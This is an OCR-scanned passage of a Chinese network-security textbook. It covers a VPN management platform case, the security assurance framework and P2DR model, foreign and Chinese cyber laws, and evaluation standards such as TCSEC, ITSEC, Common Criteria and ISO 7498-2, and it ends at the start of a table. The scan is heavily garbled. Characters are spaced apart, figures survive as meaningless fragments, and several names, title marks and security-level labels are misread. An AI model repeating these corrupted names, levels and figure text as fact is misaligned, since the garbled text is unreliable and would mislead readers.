【案例 3-2] 针对 大 中 规模 虚拟 专用 网 VPN 网 络 管理 的 解决 方案 ,上 海安 达 通 信息 
安全 技术 有 限 公 司 推出 了 “ADT 安全 网 管 平 台 ”, 可 通过 该 平台 实现 对 ADT 系列 安全 网 
关 和 第 三 方 的 VPN 设备 进行 全 面 的 集中 管理 ,监控 .统一 认证 等 功能 。 网 管 平 台 由 4 部 
分 组 成 : 安全 网 关 单机 配置 软件 (SureConsole) .策略 服务 平台 (SureManager) 、 网 关 监 控 
平台 (SureWatcher) 和 数字 证 书 平台 (SureCA)。 基 于 ADT 安全 网 管 平 台 可 以 快速 高 效 
地 工作 ,一 个 具备 上 千 结 点 的 VPN 网 络 可 在 很 短 时 间 内 完成 以 前 需要 几 个 月 才能 完成 
的 繁重 网 络 管理 和 调整 任务 。 


312 网 络 安全 保障 体系 


计算 机 网 络 安全 的 整体 保障 体系 如 图 3-3 所 示 。 网 络 安全 的 整体 保障 作用 主要 体现 
为 整个 系统 生命 周期 对 风险 进行 整体 的 应 对 和 控制 。 


i 3 识 仿 
潜在 风险 [3 “az 残留 风险 


加 免 
转移 
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真实 性 
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完整 性 
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可 审计 性 


预防 li 
检测 


图 3-3 网 络 安全 整体 保障 体系 


应 急 响 应 
灾难 恢复 
业务 重建 


响应 与 恢复 | 


通过 风险 评估 可 以 掌控 网 络 系统 的 各 类 潜在 风险 ,并 选取 相应 的 应 对 策略 。 利 用 安 
全 控制 降低 风险 ,并 对 残留 风险 进行 监控 和 分 析 , 应 急 计划 可 在 突 发 事件 发 生 时 做 出 应 
急 响 应 和 灾难 恢复 ,以 确保 系统 业务 数据 的 安全 。 


1. 网 络 安全 保障 关键 因素 
网 络 安全 保障 关键 因素 包括 4 个 方面 : 网 络 安全 策略 、 网 络 安全 管理 ,网 络 安全 运作 
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和 网 络 安全 技术 ,如 图 3-4 所 示 。 网 络 安全 策略 包括 网 络 安全 的 战略 ,政策 和 标准 ;网 络 
安全 管理 是 指 机 构 的 管理 行为 ,主要 包括 安全 意识 .组 织 结构 和 审计 监督 :网络 安全 运作 
是 日 常 管理 的 行为 ,包括 运作 流程 和 对 象 管理 ;网 络 安全 技术 是 网 络 系统 的 行为 ,包括 安 
全 服务 .措施 和 基础 设施 。 

在 企业 管理 机 制 下 ,需要 通过 运作 机 制 借助 技术 手段 才能 实现 网 络 安全 。 网 络 安全 
运作 是 在 日 常 工作 中 执行 网 络 安全 管理 和 网 络 安全 技术 的 手段 ,“ 七 分 管理 ,三 分 技术 ， 
运作 贯穿 始终 ”, 管 理 是 关键 ,技术 是 保障 ,其 中 的 管理 应 包括 管理 技术 。 

P2DR 模型 是 美国 ISS(Internet Security System ,互联 网 安全 系统 ) 公 司 提出 的 动态 
网 络 安全 体系 的 代表 模型 ,也 是 动态 安全 模型 ,该 模型 包含 4 个 主要 部 分 : 安全 策略 
(Policy) .B i (Protection) 检测 (Detection) 和 响应 (Response) ,如 图 3-5 所 示 。 


安全 
网 络 安全 网络 安全 | 
策略 “人 运作 
图 3-4 网 络 安全 保障 因素 图 3-5 P2DR 模型 示意 图 


P2DR 模型 是 在 整体 的 安全 策略 的 控制 和 指导 下 ,在 综合 运用 防护 工具 (如 防火 墙 、 
操作 系统 身份 认证 .加 密 等 ) 的 同时 ,利用 检测 工具 (如 漏洞 扫描 评估 .入 侵 检 测 等 ) 了 解 
和 评估 系统 的 安全 状态 ,通过 适当 反应 将 系统 调整 到 “最 安全 ”和 “风险 最 低 ” 的 状态 。 防 
护 ,检测 和 响应 组 成 了 一 个 完整 动态 的 安全 循环 ,在 安全 策略 的 指导 下 保证 信息 系统 的 
安全 ,而 此 模型 忽略 了 其 内 在 的 变化 因素 。 


2. 网 络 安全 保障 体系 总 体 框架 


面 对 网 络 系统 的 各 种 威胁 和 风险 ,以 往 针 对 单方 面具 体 的 安全 隐患 所 提出 的 具体 解 
决 方案 具有 一 定 的 局 限 性 ,应 对 的 措施 也 难免 顾此失彼 。 面 对 新 的 网 络 环境 和 威胁 , 需 
要 建立 一 个 以 深度 防御 为 特点 的 网 络 信 息 安 全 保障 体系 。 

网 络 安 全 保障 体系 总 体 框架 如 图 3-6 所 示 。 此 保障 体系 框架 的 外 围 是 风险 管理 .法 
律 法 规 、 标 准 的 符合 性 。 

风险 管理 是 指 在 对 风险 的 可 能 性 和 不 确定 性 等 情况 下 收集 ,分析 、 评 估 、 预 测 的 基础 
上 制定 的 识别 、 衡 量 、 积 极 应 对 、 有 效 处 置 风险 及 妥善 处 理 风 险 等 一 整套 系统 而 科学 的 管 
理 方法 和 措施 ,以 避免 和 减少 风险 损失 。 网 络 安全 管理 的 本 质 是 对 信息 安全 风险 进行 动 
态 有 效 管理 和 控制 。 风 险 管理 是 企业 运营 管理 的 核心 ,风险 分 为 信用 风险 、 市 场 风 险 和 
操作 风险 ,其 中 包括 信息 安全 风险 。 实 际 上 ,在 网 络 信 息 安 全 保障 体系 框架 中 充分 体现 
了 风险 管理 的 理念 。 网 络 安全 保障 体系 架构 包括 5 个 部 分 : 
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网 络 安全 策略 
网 络 安全 管理 网 络 安全 
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法 律 法 规 、 标 准 符合 性 、 风 险 管理 
图 3-6 网 络 安全 保障 体系 框架 


(1) 网 络 安全 策略 。 以 风险 管理 为 核心 理念 ,从 长 远 发 展 规划 和 战略 角度 通盘 考虑 
网 络 建设 安全 。 它 是 整个 体系 架构 的 顶层 设 计 , 起 到 总 体 宏观 上 的 战略 性 和 方向 性 指导 
作用 。 

(2) 网 络 安 全 政策 和 标准 。 是 对 网 络 安全 策略 的 逐 层 细 化 和 落实 ,包括 管理 ,运作 和 
技术 3 个 不 同 层面 , 在 每 一 层面 都 有 相应 的 安全 政策 和 标准 ,通过 落实 标准 政策 规范 管 
理 , 运 作 和 技术 ,以 保证 其 统一 性 和 规范 性 。 当 三 者 发 生变 化 时 ,相应 的 安全 政策 和 标准 
也 需要 调整 以 相互 适应 ,反之 ,安全 政策 和 标准 也 会 影响 管理 .运作 和 技术 。 

(3) 网 络 安全 运作 。 主 要 基于 日 常 运作 模式 及 其 概念 性 流程 (风险 评估 、 安 全 控制 规 
划 和 实施 、 安 全 监控 及 响应 恢复 )。 它 是 网 络 安全 保障 体系 的 核心 ,贯穿 网 络 安全 始终 。 
它 也 是 网 络 安全 管理 机 制 和 技术 机 制 在 日 常 运作 中 的 实现 ,涉及 运作 流程 和 运作 管理 。 

(4) 网 络 安全 管理 。 是 体系 框架 的 上 层 结 构 , 对 网 络 安全 运作 至 关 重 要 ,从 人 员 、 意 
识 ,职责 等 方面 保证 网 络 安 全 运作 的 顺利 进行 。 网 络 安全 通过 运作 体系 实现 ,而 网 络 安全 
管理 体系 是 从 人 员 组 织 的 角度 保证 正常 运作 ,网 络 安全 技术 体系 是 从 技术 角度 保证 运作 。 

(5) 网 络 安全 技术 。 是 网 络 安全 运作 需要 的 网 络 安全 基础 服务 和 基础 设施 的 及 时 支 
持 。 先 进 完 善 的 网 络 安全 技术 可 以 极 大 地 提高 网 络 安全 运作 的 有 效 性 ,从 而 达到 网 络 安 
全 保障 体系 的 目标 ,实现 整个 生命 周期 (预防 保护、 检测 .响应 与 恢复 ) 的 风险 防范 和 
控制 。 

后 讨论 思考 

(1) 网 络 安全 保障 包括 哪 4 个 方面 ? 

(2) 网 络 安 全 保障 体系 框架 包括 哪 5 个 部 分 ? 

(3) 网 络 管理 与 安全 技术 的 结合 方式 有 哪些 ? 
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32 网 络 安全 相关 法 律 法 规 


法 律 法 规 是 网 络 安全 体系 的 重要 保障 和 基石 ,由 于 国内 外 具体 的 法 律 法 规 较 多 ,下 
面 仅 概 述 其 要 点 ,其 具体 条 款 可 在 附录 B 列 出 的 网 站 等 处 浏览 查阅 。 


321 国外 网 络 安全 的 法 律 法 规 


计算 机 网 络 技术 发 展 与 更 新 很 快 ,但 在 全 球 广泛 应 用 的 时 间 却 较 短 ,法 律 体系 在 较 
短 的 时 期 内 不 可 能 十 分 完善 , 正 随 着 信息 化 社会 不 断 发 展 而 完善 。 


1. 国际 合作 立法 打击 网 络 犯罪 


H 20 世纪 90 年 代 以 来 ,很 多 国家 为 了 有 效 打击 利用 计算 机 网 络 进行 的 各 种 违法 犯 
罪 活动 ,都 采取 了 法 律 手段 ,欧盟 已 成 为 在 刑事 领域 做 出 国际 示范 的 典型 ,分 别 于 2000 
年 两 次 颁布 (网 络 刑事 公约 (草案 )》, 现 已 有 包括 美国 .日 本 等 在 内 的 43 个 国家 借鉴 了 这 
一 公约 草案 。 在 不 同 国家 的 刑事 立法 中 ,印度 的 有 关 作 法 具有 一 定 代 表 性 ,于 2000 年 
6 月 颁布 了 《信息 技术 法 》, 制 定 出 一 部 规范 计算 机 网 络 安全 的 基本 法 。 

此 外 ,还 有 一 些 国家 修订 了 原 有 的 刑法 ,以 适应 保障 计算 机 网 络 安全 的 需要 。 如 美 
国 2000 年 修订 了 以 前 的 《计算 机 反 欺诈 与 滥用 法 》, 增 加 了 法 人 犯罪 的 责任 ,补充 了 与 上 
述 印 度 法 律 第 70 条 类 似 的 规定 等 。 


2. 禁止 破解 数字 化 技术 保护 措施 的 法 律 


1996 年 12 月 ,世界 知识 产权 组 织 做 出 了 “禁止 擅自 破解 他 人 数字 化 技术 保护 措施 ” 
的 规定 ,以 此 作为 保障 网 络 安全 的 一 项 主要 内 容 进行 规范 。 现 在 ,欧盟 国家 、 日 本 、 美 国 
等 大 多 数 国家 都 把 它 作为 一 种 网 络 安全 保护 规定 纳入 本 国 的 法 律 之 中 。 


3. 与 入世” 有 关 的 网 络 法 律 


在 1996 年 12 月 联合 国 第 51 次 大 会 上 ,通过 了 联合 国贸 易 法 委员 会 的 (电子 商务 示 
范 法 》 对 于 网 络 市 场 中 的 数据 电文 ` 网 上 合同 成 立 及 生效 的 条 件 、 传 输 等 专项 领域 的 电 
子 商务 等 ,都 做 了 十 分 明确 具体 的 规定 。1998 年 7 月 新 加 坡 的 (电子 交易 法 ) 出 台 。 

1999 年 12 月 ,在 世界 贸易 组 织 西 雅 图 外 交会 议 上 ,制定 电子 商务 规范 成 为 一 个 主要 
议题 。 

4. 其 他 相关 立法 


在 一 些 国 家 ,除了 制定 保障 网 络 健康 发 展 的 法 规 以 外 ,还 专门 制定 了 综合 性 、 原 则 性 
的 网 络 基本 法 。 如 韩国 2000 年 修订 了 《信息 通信 网 络 利用 促进 法 》, 其 中 包括 对 “信息 网 
络 标准 化 "和 实名 制 的 规定 ,对 成 立 * 韩 国信 息 通信 振兴 协会 "等 民间 自律 组 织 的 规定 等 。 
在 印度 ,政府 机 构成 立 了 “网 络 事件 裁判 所 ”, 以 解决 影响 网 络 安全 的 民事 纠纷 。 
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近年 来 ,西欧 国家 和 日 本 制定 了 一 大 批 促进 信息 网 络 在 本 国 顺利 发 展 的 专门 法 律 、 
法 规 ,同时 大 量 修订 了 现 有 法 律 , 以 适应 网 络 安全 的 需要 。1997 年 在 欧盟 共同 指令 发 布 
之 前 ,德国 颁布 了 《网 络 服务 提供 者 责任 法 ) 与 (数字 签名 法 》。1999 年 日 本 的 《信息 公开 
法 ) 与 同时 颁布 的 (协调 法 》 对 作者 行使 人 身 权 规定 了 新 限制 ,以 保证 政府 有 权 不 再 经 过 
作者 许可 , 即 可 发 布 某 些 必须 发 布 的 信息 。 英 国 2000 年 颁布 的 (通信 监控 权 法 ) 第 三 部 
分 专门 规定 了 对 网 上 信息 的 监控 。 


5. 民间 管理 ,行业 自律 及 道德 规范 


世界 各 国 在 规范 网 络 行为 方面 都 很 注重 发 挥 民间 组 织 的 作用 ,特别 是 行业 自律 作 
用 。 德国 英国 、 澳 大 利 亚 等 国学 校 中 网 络 使 用 的 “行业 规范 ”十 分 严格 。 澳 大 利 亚 要 求 
教师 填写 一 份 保证 书 , 申 明 不 从 网 上 下 载 违法 内 容 。 德 国 的 网 络 用户 一 旦 有 校方 规定 禁 
止 的 行为 ,服务 器 立即 会 发 出 警告 。 荣 尼 黑 大 学 、 明 斯 特大 学 等 院 校 都 制定 了 《关于 数据 
处 理 与 信息 技术 设备 使 用 管理 办 法 ), 要 求 严格 遵守 。 

新 加 坡 非常 注重 发 挥 民 间 在 网 络 安全 方面 的 作用 ,在 1996 年 7 月 颁布 的 (新 加 坡 广 
播 管 理 法 ) 中 规定 :“ 凡 是 向 儿童 提供 互联 网 络 服务 的 学 校 、 图 书馆 和 其 他 互联 网 络 服务 
商 , 都 应 制定 严格 的 控制 标准 .” 同 时 还 规定 : 鼓励 各 定点 网 络 服务 商 和 广大 家 长 使 用 各 
种 软件 ,如 “网 络 监督 员 ” 软 件 “ 网 络 巡 警 "软件 等 ,以 阻止 青少年 访问 有 害 信息 。 

[知识 拓展 很 多 以 法 律 规范 网 络 行为 的 国家 都 明确 了 网 络 服务 提供 者 的 责任 , 基 
本 都 采用 了 “避风 港 "制度 。 如 一 旦 网 络 服务 提供 者 的 行为 符合 茶 一 法 律 条 款 , 将 不 再 与 
网 上 的 违法 分 子 一 同 负 违法 的 连带 责任 ,不 会 与 犯罪 分 子 一 道 作 为 共犯 处 理 ,以 有 利于 
网 络 的 健康 发 展 。 如 美国 1995 年 制定 的 《国家 信息 基础 设施 白皮书 )、 新 加 坡 1996 年 制 
定 的 (新加坡 广播 管理 法 )、 法 国 2001 年 制定 的 (信息 社会 法 (草案 )) 等 。 
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【案例 3-3】〗 网 络 犯罪 案件 非常 独 狐 。 瑞 星 公司 在 其 发 布 的 (中 国电 脑病 毒 疫情 互 
联网 安全 报告 ) 中 称 , 黑 客 除 了 通过 木马 程序 窃取 他 人 隐私 外 ,更 多 的 是 谋求 经 济 利益 ， 
木马 病毒 背后 所 带 来 的 巨大 的 经 济 利益 催生 了 病毒 “工业 化 ”入 侵 的 进程 ,并 形成 了 数 亿 
元 的 产业 链 。“ 能 猫 烧香 ”的 程序 设计 者 李 俊 被 警方 抓获 后 ,承认 自己 每 天 收入 近 万 元 ， 
共 获 利 上 千 万 元 。 腾 讯 QQ 密码 被 盗 成 为 黑客 的 重 灾区 ,高 峰 时 期 腾讯 公司 每 天 大 概 有 
10 万 人 次 反映 QQ 密码 被 盗 。 国 内 一 家 著名 的 网 络 游戏 公司 遭 到 长 达 10 天 的 网 络 攻 
击 ,服务器 全 面瘫 疾 , 其 经 营 的 网 络 游戏 被 迫 停 止 ,损失 高 达 3460 万 元 人 民 币 。 

我 国 从 网 络 安全 管理 的 需要 出 发 .从 20 世纪 90 年 代 初 开始 ,国家 及 相关 部 门 .行业 
和 地 方 政府 相 继 制定 了 多 项 有 关 网 络 安全 的 法 律 法 规 。 

我 国 网 络 安全 立法 体系 分 为 以 下 3 个 层面 。 

第 一 层面 : 法 律 。 为 全 国人 民 代 表 大 会 及 其 常委 会 通过 的 法 律 规范 。 我 国 与 网 络 信 
息 安 全 相关 的 法 律 主要 有 《宪法 兴 刑 法 兴 治 安 管理 处 罚 条 例 兴 刑事 诉讼 法 兴国 家 安全 
法 兴 保 守 国 家 秘密 法 兴 行 政 处 罚 法 兴 行政 诉讼 法 兴 全 国人 大 常委 会 关于 维护 互联 网 安 
全 的 决定 兴 人 民警 察 法 兴 行 政 复议 法 兴国 家 赔偿 法 兴 立 法 法 ) 等 。 
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第 二 个 层面 : 行政 法 规 。 主 要 指 国 务 院 为 执行 宪法 和 法 律 而 制定 的 法 律 规范 。 与 网 
络 信息 安全 有 关 的 行政 法 规 包括 (中 华人 民 共 和 国 计 算 机 信息 系统 安全 保护 条 例 兴 中 华 
人 民 共 和 国 计 算 机 信息 网 络 国 际 联网 管理 暂行 规定 兴 计 算 机 信息 网 络 国际 联网 安全 保 
护 管理 办 法 兴 商 用 密码 管理 条 例 兴 中 华人 民 共 和 国电 信条 例 兴 互联 网 信息 服务 管理 办 
法 兴 计 算 机 软件 保护 条 例 》 等 。 

第 三 个 层面 : 地 方 性 法 规 、 规 章 ,规范 性 文件 。 主 要 指 国务 院 各 部 、 委 根据 法 律 和 国 
务 院 行政 法 规 与 法 律 规 范 , 以 及 省 、 自 治 区 、 直 辖 市 和 较 大 的 市 人 民政 府 根据 法 律 \ 行 政 
法 规 和 本 省 、 自 治 区 、 直 辖 市 的 地 方 性 法 规制 定 的 法 律 规 范 性 文件 。 

公安 部 制定 了 《计算 机 信息 系统 安全 专用 产品 检测 和 销售 许可 证 管理 办 法 兴 计 算 机 
病毒 防治 管理 办 法 兴 金 融 机 构 计算 机 信息 系统 安全 保护 工作 暂行 规定 兴 关 于 开展 计算 
机 安全 员 培 训 工 作 的 通知 ) 等 。 

工业 和 信息 化 部 制定 了 《互联 网 电 户 公告 服务 管理 规定 兴 软 件 产品 管理 办 法 兴 计算 
机 信息 系统 集成 资质 管理 办 法 兴国 际 通信 出 人口 局 管理 办 法 兴国 际 通信 设施 建设 管理 
规定 兴 中 国 互联 网 络 域名 管理 办 法 兴 电 信 网 间 互 联 管理 暂行 规定 ?等 。2009 年 5 H. T 
业 和 信息 化 部 又 在 其 颁布 的 (互联 网 网 络 安全 信息 通报 实施 办 法 》 和 《木马 和 僵尸 网 络 监 
测 和 处 置 机 制 ) 中 ,对 国家 互联 网 应 急 中 心 和 互联 网 运营 商 \ 域 名 服务 机 构 以 及 网 络 安全 
企业 共同 开展 网 络 安全 信息 共享 和 打击 黑客 产业 给 出 了 具体 的 规定 。 

知识 拓展 ”国家 互联 网 应 急 中 心 与 中 国 互联 网 协会 组 织 相关 专家 、 学 者 及 数 十 家 
互联 网 从 业 机 构 共同 研究 .探讨 计算 机 网 络 病 毒 防治 及 反 网 络 病毒 行业 自律 工作 ,编订 
了 《 反 网 络 病毒 自律 公约 》。 倡 导 互 联网 企业 和 网 民 遵守 公约 的 自律 条 款 , 自 觉 抵制 网 络 
病毒 的 制造 ,传播 和 使 用 。2009 年 7 月 ,国家 互联 网 应 急 中 心 依托 中 国 互 联网 协会 网 络 
与 信息 安全 工作 委员 会 ,联合 基础 电信 运营 企业 、 网 络 安全 厂商 、 增 值 服务 提供 商 、 搜 索 
引擎 ,域名 注册 机 构 等 单位 共同 发 起 成 立 “中 国 反 网 络 病毒 联盟 ”, 并 签署 公约 ,通过 行业 
自律 机 制 推动 互联 网 病毒 的 防范 和 治理 工作 ,净化 网 络 空间 ,进一步 维护 公共 互联 网 
安全 。 

后 讨论 思考 

(1) 为 什么 说 法 律 法 规 是 网 络 安全 体系 的 重要 保障 和 基石 ? 

(2) 国外 的 网 络 安全 法 律 法 规 对 我 们 有 何 启 示 ? 

(3) 我 国 网 络 安全 立法 体系 框架 分 为 哪 3 个 层面 ? 


33 ”网络 安全 评估 准则 和 测评 


网 络 安全 标准 是 确保 网 络 信息 安全 的 产品 和 系统 在 设计 研发 .建设 .生产 、 实 施 , 使 
用 ,测评 和 管理 维护 过 程 中 解决 产品 和 系统 的 一 致 性 ,可靠 性 、 可 控 性 、 先 进 性 和 符合 性 
的 技术 规范 和 依据 。 网 络 安 全 标准 是 我 国信 息 安 全 保障 体系 的 重要 组 成 部 分 ,是 政府 进 
行 宏观 管理 的 重要 手段 。 
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331 国外 网 络 安全 评估 标准 


国际 性 标准 化 组 织 主要 包括 国际 标准 化 组 织 (ISO) 、 国 际 电器 技术 委员 会 (IEC) 及 国 
际 电信 联盟 (ITU) 所 属 的 电信 标准 化 组 织 (ITU-TS) 等 。ISO 是 总 体 标 准 化 组 织 , 而 IEC 
在 电工 与 电子 技术 领域 里 相当 于 ISO 的 位 置 。1987 年 ,ISO 的 TC97 和 IEC 成 立 了 联合 
技术 委员 会 (JTC1)。ITU-TS 则 是 一 个 联合 缔约 组 织 。 这 些 组 织 在 安全 需求 服务 分 析 
指导 、 安 全 技术 研制 开发 .安全 评估 标准 等 方面 制定 了 一 些 标准 草案 。 

另外 ,其 他 的 标准 化 组 织 也 制定 了 一 些 安全 标准 ,如 IETF 有 10 个 功能 组 : 认证 防 
火 墙 测试 组 (AFT)、 公 共 认 证 技术 组 (CAT) .域名 安全 组 (DNSSEC) 、IP 安全 协议 组 
(IPSec) 一 次 性 密码 认证 组 (OTP) 公开 密 钥 结构 组 (PKIX) ,安全 界面 组 (SECSH)、 简 
单 公 开 密 钥 结构 组 (SPKI) ,传输 层 安全 组 (TLS) 和 Web 安全 组 (WTS) ,制定 了 相关 
标准 。 


1. 美国 TCSEC( 橙 皮 书 ) 


1983 年 由 美国 国防 部 制定 了 5200. 28 安全 标准 一 一 可 信 计 算 系 统 评价 准则 
(Trusted Computer Standards Evaluation Criteria,TCSEC) , 即 网 络 安全 橙 皮 书 或 桔 皮 
书 ,主要 利用 计算 机 安全 级 别 评价 计算 机 系统 的 安全 性 。 它 将 安全 分 为 4 个 方面 (类 
别 ): 安全 政策 .可 说 明 性 .安全 保障 和 文档 。 将 这 4 个 方面 (类 别 ) 又 分 为 7 个 安全 级 别 ， 
从 低 到 高 依次 为 D.Cl1、.C2、Bl1、B2、B3 I A. Fe )A 1985 年 ,成 为 美国 国防 部 的 标 
准 以 后 基本 没有 更 改 , 一 直 是 评估 多 用 户主 机 和 小 型 操作 系统 的 主要 方法 。 

数据 库 和 网 络 其 他 子 系统 也 一 直 用 橙 皮 书 来 进行 评估 。 橙 皮 书 将 安全 的 级 别 从 低 
到 高 分 成 4 个 类 别 : D 类 、C 类 、B 类 和 A 类 ,并 分 为 7 个 级 别 ,如 表 3-1 所 示 。 


表 3-1 安全 级 别 分 类 


类 别 级 别 名 称 主要 特征 

D D 低级 保护 没有 安全 保护 

Cl 自主 安全 保护 自主 存储 控制 

C2 受 控 存 储 控制 单独 的 可 查 性 ,安全 标识 
Bl 标识 的 安全 保护 强制 存 取 控制 ,安全 标识 

B B2 结构 化 保护 面向 安全 的 体系 结构 , 较 好 的 抗 渗透 能 力 
B3 安全 区 域 存 取 监 控 、 高 抗 渗透 能 力 

A A 验证 设计 形式 化 的 最 高 级 描述 和 验证 


通常 ,安全 级 别 设计 需要 从 数学 角度 上 进行 验证 ,而 且 必 须 进 行 秘密 通道 分 析 和 可 
信任 分 布 分 析 。 可 信任 分 布 (trusted distribution) 是 指 硬件 和 软件 在 物理 传输 过 程 中 所 
受到 的 保护 ,以 防止 破坏 网 络 安全 系统 。 实 际 上 , 检 皮 书 也 存在 一 定 缺 点 ,其 模型 是 静态 
的 且 针 对 孤立 计算 机 系统 ,特别 是 小 型 机 和 主机 系统 。 对 一 些 物理 保障 ,该 标准 适合 政 
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府 和 军队 而 不 适合 企业 。 
2. 欧洲 ITSEC 


信息 技术 安全 评估 标准 (Information Technology Security Evaluation Criteria, 
ITSEC) ,俗称 欧洲 的 白皮书 ,将 保密 作为 安全 增强 功能 , 仅 限 于 阐述 技术 安全 要 求 ,并 未 
将 保密 措施 直接 与 计算 机 功能 相 结 合 。ITSEC 是 欧洲 的 英国 ,法 国 、 德 国 和 荷兰 四 国 在 
借鉴 橙 皮 书 的 基础 上 于 1989 年 联合 提出 的 。 橙 皮 书 将 保密 作为 安全 重点 ,而 ITSEC 则 
将 首次 提出 的 完整 性 、 可 用 性 与 保密 性 作为 同等 重要 的 因素 ,并 将 可 信 计 算 机 的 概念 提 
高 到 可 信 信 息 技术 的 高 度 。ITSEC 定义 了 从 E0 级 (不 满足 品质 ) 到 E6 级 (形式 化 验证 ) 
的 7 个 安全 等 级 ,对 于 每 个 系统 安全 功能 可 分 别 定义 。ITSEC 预定 义 了 10 种 功能 ,其 中 
前 5 种 与 桔 皮 书 中 的 C1 一 B3 级 基本 类 似 。 

EE 知识 拓展 ”在 欧洲 ,ITSEC BS7799 列 出 了 网 络 威胁 的 种 类 和 管理 要 项 ,以 及 降低 
攻击 危害 的 方法 。1999 年 将 BS7799 档案 进行 了 重 写 ,增加 的 内 容 包 括 审计 过 程 、 对 文 
件 系 统 审计 评估 风险 ,保持 对 病毒 的 控制 .正确 处 理 日 常事 务 及 安全 保护 的 信息 。 


3. 美国 联邦 准则 (FC) 


美国 联邦 准则 (FC) 标 准 参照 了 加 拿 大 的 评价 标准 CTCPEC 与 橙 皮 书 ,目的 是 提供 
橙 皮 书 的 升级 版 本 ,同时 保护 已 有 的 网 络 建设 和 投资 。FC 是 一 个 过 渡 标 准 , 之 后 结合 
ITSEC 发 展 为 联合 公共 准则 。 


4. 通用 评估 准则 (CC) 


通用 评估 准则 (Common Criteria for IT Security Evaluation,CC) 主 要 确定 了 评估 信 
息 技术 产品 和 系统 安全 性 的 基本 准则 ,提出 了 国际 上 公认 的 表述 信息 技术 安全 性 的 结 
构 ,将 安全 要 求 分 为 规范 产品 和 系统 安全 行为 的 功能 要 求 , 以 及 解决 如 何 正 确 有 效 地 实 
施 这 些 功 能 的 保证 要 求 。CC 是 由 美国 等 国家 与 国际 标准 化 组 织 联 合 提出 的 ,并 结合 了 
FC 及 ITSEC 的 主要 特征 ,强调 将 网 络 信息 安全 的 功能 与 保障 分 离 ,将 功能 需求 分 为 9 类 
63 族 , 将 保障 分 为 7 类 29 族 。CC 的 先进 性 体现 在 其 结构 的 开放 性 .表达 方式 的 通用 性 、 
结构 及 表达 方式 的 内 在 完备 性 和 实用 性 4 个 方面 。CC 于 1996 年 发 布 第 一 版 ,充分 结合 
并 替代 了 ITSEC.TCSEC.CTCPEC.FC 等 国际 上 重要 的 信息 安全 评估 标准 而 成 为 通用 
评估 准则 。CC 标准 历经 了 诸多 的 更 新 和 改进 。 目 前 ,中 国 测 评 中 心 主要 采用 CC 等 进行 
测评 ,具体 内 容 及 应 用 可 以 查阅 相关 网 站 。 


5. ISO 安全 体系 结构 标准 


国际 标准 ISO 7498-2 一 1989《 信 息 处 理 系统 开放 系统 互 连 基 本 参考 模型 第 2 部 
分 : 安全 体系 结构 》, 为 开放 系统 标准 建立 框架 。 主 要 用 于 提供 网 络 安全 服务 与 有 关机 制 
的 一 般 描述 ,确定 在 参考 模型 内 部 可 提供 这 些 服务 与 机 制 。 此 标准 从 体系 结构 的 角度 描 
jË Y ISO 基本 参考 模型 之 间 的 网 络 安全 通信 必须 提供 的 网 络 安全 服务 和 安全 机 制 , 并 说 
明了 网 络 安全 服务 及 其 相应 机 制 在 安全 体系 结构 中 的 关系 ,从 而 建立 了 开放 互 连 系 统 的 
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安全 体系 结构 框架 。 并 在 身份 认证 访问 控制 .数据 加 密 、 数 据 完整 性 和 防止 抵赖 方面 提 
供 了 5 种 可 选择 的 网 络 安全 服务 ,如 表 3-2 所 示 。 


表 3-2 ISO 提供 的 安全 服务 


服 务 用 ë 
身份 认证 ”| 身份 认证 是 证 明 用 户 及 服务 器 身份 的 过 程 
w 用 户 身份 一 经 过 认证 就 发 生 访问 控制 ,这 个 过 程 决定 用 户 可 以 使 用 、 浏 览 或 改变 哪些 
访问 控制 

系统 资源 

数据 加 密 。 | 这 项 服务 通常 使 用 加 密 技术 保护 数据 免 于 未 授权 的 泄露 ,可 避免 被 动 威胁 
数据 完整 性 | 这 项 服务 通过 检验 或 维护 信息 的 一 致 性 ,避免 主动 威胁 
防止 抵赖 抵赖 是 指 否认 参加 全 部 或 部 分 事务 的 能 力 , 防 止 抵赖 服 务 提 供 关 于 服务 .过 程 或 部 分 


信息 的 起 源 证 明 或 发 送 证 明 


ISO 17799/BS-779 标准 于 2000 年 12 月 出 版 ,适用 于 所 有 的 组 织 , 目 前 已 成 为 强制 
性 的 安全 标准 。 它 包括 信息 安全 的 所 有 准则 ,由 信息 安全 方针 、 组 织 安全 .财产 分 类 和 控 
制 . 人 员 安 全 ,物理 和 环境 安全 、 计 算 机 通信 和 操作 管理 ,访问 控制 ,系统 开 发 与 维护 、 商 
务 持续 性 管理 ,符合 性 10 个 独立 的 部 分 组 成 ,其 中 每 一 部 分 都 覆盖 不 同 的 主题 和 区 域 。 

ER 知识 拓展 ”各国 一 直 在 不 断 努 力 发 展 和 完善 安全 标准 ,并 将 安全 功能 与 安全 保障 
分 离 , 制 定 了 复杂 而 详细 的 条 款 。 而 真正 实用 且 相 对 易于 掌握 的 还 是 TCSEC 及 其 改进 
版 本 。 在 现实 中 ,安全 技术 人 员 也 一 直 将 TCSEC 的 7 级 安全 划分 作为 默认 标准 。 

目前 ,国际 上 通行 的 与 网 络 信息 安全 有 关 的 标准 可 分 为 3 类 ,如 图 3-7 所 示 。 


网 络 和 信息 安全 标准 
=. = 网 络 与 信息 安全 
互 操作 标准 技术 与 工程 标准 管理 标准 
[ I 
M| || 61211] 信和 | 信 
密 || 全 || 全 || 全 || 弱 | | 息 || 全 儿 息 儿 县]| 统 || 息 | 
标 || 传 || 电 || 电 M: 产 || 系 || 系 上 | 和 与 || 安 安 || 安 
准 || 输 || 子 || 子 品 || 统 || 统 || 相 || 软 | 全 全 | 全 
标 || 邮 || 交 || 述 | “| 通 || 工 咱 软 || 关 || 件 || 评 管 || 管 
准 || 件 || 易 || 标 | | 用 || 程 || 件 || 技 || 整 | 估 理 || 理 
||] “| 测 上 | 能 上 | 过 || 术 || 合 || 公 # | 
准 || 准 评 || 力 || 程 || 控 共 # |Ë 
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图 3-7 有 关 网 络 和 信息 安全 标准 的 种 类 
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1. 系统 安全 保护 等 级 划分 准则 


1999 年 10 月 经 过 国家 质量 技术 监督 局 批准 发 布 了 系统 安全 保护 等 级 划分 准则 ,此 
准则 主要 依据 GB 17859 一 1999%( 计 算 机 信息 系统 安全 保护 等 级 划分 准则 》 和 GA 163 一 
1997《 计 算 机 信息 系统 安全 专用 产品 分 类 原则 ) 等 文件 ,将 计算 机 系统 安全 保护 划分 为 
5 个 级 别 , 如 表 3-3 所 示 , 分 别 是 用 户 自主 保护 级 、 系 统 审 计 保 护 级 、 安 全 标记 保护 级 、 结 
构 化 保护 级 和 访问 验证 保护 级 。 


表 3-3 ”我国 计算 机 系统 安全 保护 等 级 划分 


等 级 名 称 具体 描述 

